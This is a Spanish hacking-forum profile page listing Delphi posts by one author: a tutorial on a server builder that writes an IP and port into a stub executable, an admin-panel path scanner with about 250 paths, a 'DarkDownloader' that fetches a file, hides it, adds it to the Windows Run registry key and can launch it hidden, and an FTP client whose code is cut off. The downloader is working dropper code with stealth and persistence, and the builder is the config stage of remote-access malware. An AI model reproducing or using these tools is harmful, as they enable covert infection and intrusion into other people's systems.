Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#281
Delphi / [Delphi] Creacion de un Server Builder
Julio 15, 2013, 06:44:02 PM
[Titulo] : Creacion de un Server Builder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros
de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema.
Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder
para poder hacer uno bien basico para poder explicar en este tutorial.

Empecemos .......


0x02 : Creacion del builder

Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Ahora creamos dos edit y un boton como en la imagen :



Despues le damos doble click al boton para poner el siguiente codigo :

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);
var
  linea: string; // Declaramos todas las variables
  aca: THandle;
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;

begin

  marca_uno := '{IP}'; // Ponemos la marca para la IP
  marca_dos := '{PORT}'; // Ponemos la marca para el puerto

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  begin
    linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text +
      marca_dos; // Formamos la linea con los datos de la IP y el Puerto
    StrCopy(code, pchar(linea));
    aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo
      CloseHandle(aca); // Cerramos el archivo
    end;
  end;

end;


Otra imagen para que vean como quedo :



Con eso guardamos el proyecto y vamos al stub

0x03 : Creacion del stub

La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder ,
creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen.



Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código: delphi

// Funcion para dividir el texto para buscar la IP y el Puerto

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ob: THandle; // Declaramos todas las variables
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  ip: string;
  port: string;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  // El programa se lee a si mismo
  ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -80, nil, FILE_END);
    ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code
    CloseHandle(ob); // Cerramos el archivo
  end;

  ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP
  port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto

  Edit1.text := ip; // Ponemos la IP en Edit1
  Edit2.text := port; // Ponemos el puerto en Edit2

end;


Una imagen de como queda :



Guarden el proyecto de forma que el ejecutable termine llamandose server.exe

Ahora que esta todo hecho pasamos al siguiente punto.

0x04 : Probando el programa

Bueno  ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto



Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo.

Eso seria todo.

Si quieren bajar el manual en formato PDF lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--
#282
Delphi / [Delphi] Admin Finder 0.2
Julio 12, 2013, 10:58:42 AM
Un simple programa para buscar el famoso panel de administracion.

Una imagen :



El codigo :

Código: delphi

// Admin Finder 0.2
// Coded By Doddy H

unit admin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sEdit2: TsEdit;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    procedure sListBox1DblClick(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.S1Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: integer;

begin
  try

    sListBox1.Clear;

    sStatusBar1.Panels[0].text := '[+] Starting the scan';
    Form1.sStatusBar1.Update;

    IdHTTP := TIdHTTP.Create(nil);

    for i := Low(paginas) to High(paginas) do
      try

        sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i];
        Form1.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
          sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]);
        sListBox1.Update;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;
  finally
    IdHTTP.Free;
  end;

  sStatusBar1.Panels[0].text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.S2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex];
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

end.

// The End ?


Si quieren lo puede bajar de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#283
Delphi / [Delphi] DarkDownloader 0.2
Julio 06, 2013, 12:05:28 PM
Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código: delphi

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#284
Delphi / [Delphi] Project File X 0.2
Junio 29, 2013, 01:56:10 PM
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones :

  • Listar archivos del servidor FTP
  • Permite moverse por los directorios
  • Se pueden subir y bajar archivos
  • Se pueden crear y borrar carpetas
  • Se pueden renombrar y borrar archivos

    Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos.

    Una imagen :



    El codigo

    Código: delphi

    // Project File X 0.2
    // Coded By Doddy H
    // Credits :
    // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421
    // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html
    // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html

    unit ftp;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView,
      StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar,
      IdFTPList,
      ShellAPI, sListBox, jpeg, ExtCtrls, Menus;

    type
      TForm1 = class(TForm)
        IdFTP1: TIdFTP;
        sSkinManager1: TsSkinManager;
        ImageList1: TImageList;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sLabel2: TsLabel;
        sEdit2: TsEdit;
        sLabel3: TsLabel;
        sEdit3: TsEdit;
        sLabel4: TsLabel;
        sEdit4: TsEdit;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox3: TsGroupBox;
        sLabel5: TsLabel;
        sEdit5: TsEdit;
        sButton3: TsButton;
        sListView2: TsListView;
        ListBox1: TListBox;
        ListBox2: TListBox;
        ImageList2: TImageList;
        sButton5: TsButton;
        Image1: TImage;
        sButton4: TsButton;

        PopupMenu1: TPopupMenu;
        D1: TMenuItem;
        R1: TMenuItem;
        R2: TMenuItem;
        M1: TMenuItem;
        D2: TMenuItem;

        PopupMenu2: TPopupMenu;
        C1: TMenuItem;
        D3: TMenuItem;
        D4: TMenuItem;
        R3: TMenuItem;
        R4: TMenuItem;
        PopupMenu3: TPopupMenu;
        A1: TMenuItem;
        E1: TMenuItem;
        procedure sButton3Click(Sender: TObject);
        procedure sListView1DblClick(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdFTP1Connected(Sender: TObject);
        procedure sListView2DblClick(Sender: TObject);
        procedure sButton5Click(Sender: TObject);
        procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure R2Click(Sender: TObject);

        procedure D2Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure D3Click(Sender: TObject);
        procedure D4Click(Sender: TObject);
        procedure R3Click(Sender: TObject);
        procedure R4Click(Sender: TObject);
        procedure D5Click(Sender: TObject);
        procedure A1Click(Sender: TObject);
        procedure E1Click(Sender: TObject);
        procedure IdFTP1Disconnected(Sender: TObject);

      private

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP;
      sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList);
    var
      i: integer;
      Item: TIdFTPListItem;
      listate2: TListItem;

    begin

      sListView2.Items.Clear;
      sListbox1.Clear;
      sListbox2.Clear;

      listate2 := sListView2.Items.Add;

      IdFTP1.ChangeDir(dirnownow2);
      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin

        Item := IdFTP1.DirectoryListing.Items[i];
        if Item.ItemType = ditFile then
        begin
          sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end
        else
        begin
          sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end;

      end;

      sListView2.Items.Clear;

      for i := 0 to sListbox2.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox2.Items[i];
          listate2.SubItems.Add('Directory');
          listate2.ImageIndex := 0;

        end;
      end;

      for i := 0 to sListbox1.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox1.Items[i];
          listate2.SubItems.Add('File');
          listate2.ImageIndex := 1;

        end;
      end;

    end;

    procedure listar(dirnownow: string; sListView1: TsListView;
      ImageList1: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

      sListView1.Items.Clear;
      Icon := TIcon.Create;
      sListView1.Items.BeginUpdate;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr = faDirectory) then
          begin

            with sListView1 do
            begin

              if not(buscar.Name = '.') and not(buscar.Name = '..') then
              begin

                listate := sListView1.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_DISPLAYNAME);
                listate.Caption := getdata.szDisplayName;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ImageList1.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;
            end;

          end;
        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr <> faDirectory) then
          begin

            with sListView1 do
            begin

              listate := sListView1.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_DISPLAYNAME);
              listate.Caption := buscar.Name;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ImageList1.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;

          end

          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        sListView1.Items.EndUpdate;

      end;

      procedure TForm1.FormCreate(Sender: TObject);
      begin
        sProgressBar1.Max := 0;

        sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
          + 'Data';
        sSkinManager1.SkinName := 'matrix';
        sSkinManager1.Active := True;

      end;

      procedure TForm1.A1Click(Sender: TObject);
      begin
        ShowMessage('Contact to lepuke[at]hotmail[com]');
      end;

      procedure TForm1.C1Click(Sender: TObject);
      var
        newdir: string;
      begin

        newdir := InputBox('Write the name', 'Directory : ', 'test');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.MakeDir(newdir);
            ShowMessage('Directory created');
          end
        except
          begin
            ShowMessage('Error');
          end;
        end;

      end;

      procedure TForm1.D1Click(Sender: TObject);
      begin

        try
          begin
            RmDir(sEdit1.Text + sListView1.Selected.Caption);
            ShowMessage('Directory Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.D2Click(Sender: TObject);
      begin

        if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then
        begin
          ShowMessage('File Deleted');
        end
        else
        begin
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.IdFTP1Connected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OnLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Disconnected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OffLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.sStatusBar1.Update;

        sProgressBar1.Position := AWorkCount div 1024;
      end;

      procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCountMax: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ..';
        Form1.sStatusBar1.Update;

      end;

      procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
        sStatusBar1.Panels[0].Text := '[+] Finished';
        Form1.sStatusBar1.Update;
        sProgressBar1.Max := 0;
      end;

      procedure TForm1.M1Click(Sender: TObject);
      var
        nombrecarpeta: string;
      begin

        chdir(sEdit1.Text);
        nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test');
        try
          begin
            MkDir(nombrecarpeta);
            ShowMessage('Folder Created');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.R1Click(Sender: TObject);
      var
        nuevonombre: string;
      begin
        nuevonombre := InputBox('Write the name', 'New name : ', 'testar');

        chdir(sEdit1.Text);
        if RenameFile(sListView1.Selected.Caption, nuevonombre) then
        begin
          ShowMessage('Ok');
        end
        else
        begin
          ShowMessage('Error');
        end;
      end;

      procedure TForm1.R2Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.R3Click(Sender: TObject);
      var
        newname: string;
      begin

        newname := InputBox('Write the name', 'New name : ', 'testar');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Rename(sListView2.Selected.Caption, newname);
            ShowMessage('File rename');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.R4Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton1Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.sButton2Click(Sender: TObject);
      begin

        sListView1.Items.Clear;
        sListView2.Items.Clear;

        ListBox1.Clear;
        ListBox2.Clear;

        if (sButton2.Caption = 'Disconnect') then
        begin
          IdFTP1.Disconnect;
          sButton2.Caption := 'Connect';
        end
        else
        begin

          IdFTP1.Host := sEdit2.Text;
          IdFTP1.Username := sEdit3.Text;
          IdFTP1.Password := sEdit4.Text;

          try
            IdFTP1.Connect;
